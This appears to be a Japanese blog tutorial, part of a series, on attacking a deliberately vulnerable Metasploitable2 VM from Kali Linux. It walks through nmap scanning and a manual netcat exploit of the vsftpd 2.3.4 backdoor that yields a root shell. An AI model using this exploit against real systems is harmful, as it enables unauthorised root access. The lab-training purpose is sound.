開発日報

窓際エンジニアの開発備忘。日報は嘘です。

【連載】VirtualBox + Kali Linuxによるハッキング実験室 第3回 ~ vsftpdのバックドアを攻略する ~

はじめに

この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第3回です。
前回はMetasploitableを導入し、被攻撃環境を立てました。
今回はvsftpdの脆弱性を突いて実際に攻撃してみます。

連載記事一覧

Metasploitable とは

Metasploitableとは、あえて脆弱性が存在する状態で構成されたLinuxです。これを仮想マシンで動作させることで、安全にハッキングの練習環境を構築できます。

環境のセットアップ

前回まででkali linuxとmetasploitableをインストールしましたので、実際にこの2つの環境が通信し合えるように以下の設定を入れます。
なお、静的IPアドレスの設定は一例です。ホストオンリーアダプター内で整合性に問題がなければ任意のアドレスでも構いません。

◆Kali (攻撃端末)
・アダプター1
 割り当て:ホストオンリーアダプタ 
 IPアドレス:192.168.56.2(静的)
・アダプター2
 割り当て:割り当て:NAT
 IPアドレス:(動的)

◆Metasploitable2 (ターゲット端末)
・アダプター1
 割り当て:ホストオンリーアダプタ
 IPアドレス:192.168.56.3(静的)

ポートスキャンする

ではKaliLinuxとMetasploitableを立ち上げてポートスキャンを行なってみましょう。

nmapでターゲットをポートスキャンします。ポートスキャンとは、開いているポート番号を特定する攻撃です。

sPオプションあるいはsnオプションを用いると、Pingスキャンを実行します。ここでは、ホストオンリーアダプターのネットワーク内で稼働するマシンのIPアドレスを列挙します。

以下のコマンドで実行します。

root@kali:~# nmap -sP 192.168.56.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 09:03 EDT
(略)
Nmap scan report for 192.168.56.3 ← ターゲットマシンが稼働している
Host is up (0.00065s latency).
(略)
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.16 seconds

次にターゲットマシン(Metasploitable)の空いているポート番号を調べます。
次のオプションを用います。

-p:1番から65535番までのポート番号を対象とする。
-sV:バージョンスキャン。各ポートのサービスのバージョンを検出する。
-O:フィンガープリント。ターゲットのOSを特定する。

以下がコマンドとその実行結果です。

root@kali:~# nmap -sV -O -p- 192.168.56.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-05 09:10 EDT
Nmap scan report for 192.168.56.3
Host is up (0.010s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4 ← 脆弱性のあるバージョンのvsftpdを使用している
...
(略)
...
Nmap done: 1 IP address (1 host up) scanned in 130.42 seconds

Exploit-DB(脆弱性共有サイト)によると、vsftpd 2.3.4には「BackdoorCommandExecution」という脆弱性があることがわかります。

解説によると、vsftpd2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれているようです。「:)」を含むユーザー名でFTPにログインすると、ポート6200にバックドアが開きます。ポート6200(TCP)にアクセスすることで、vsftpdの実行権限で任意のコマンドを実行できます。

手作業での攻撃検証

まず、Metasploitable上でポート6200(TCP)が開いていないことを確認します。

msfadmin@metasploitable:~$ netstat -na | grep 6200
(何も出力がない)

次にKaliからMetasploitableの21番ポートにアクセスします

root@kali:~# nc 192.168.56.3
no port[s] to connect to
root@kali:~# nc 192.168.56.3 21
220 (vsFTPd 2.3.4)
USER attacker:) ← USERコマンド入力。「:)」を含める。
331 Please specify the password.
PASS hoge ← PASSコマンドを入力。なんでも良い。

PASSコマンドを入力した時点でMetasploitable上に6200ポートが空きます。

msfadmin@metasploitable:~$ netstat -na | grep 6200
tcp   0   0.0.0.0:6200   0.0.0.0:*   LISTEN

Kali側で別ターミナルを開き、ポート6200にアクセスします。oot権限でターゲット端末にアクセスできてしまっています。

root@kali:~# nc -nv 192.168.56.3 6200
(UNKNOWN) [192.168.56.3] 6200 (?) open
whoami
root ← root権限でターゲット端末にアクセスできてしまっている。
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
exit

まとめ・次回

今回はMetasploitableで初めて実際に攻撃を検証しました。
nmapによるポートスキャンで脆弱性を洗い出し、今回はvsftpdの脆弱性を突いてターゲット端末にrootアクセスしました。

次回は辞書式攻撃の実験を行います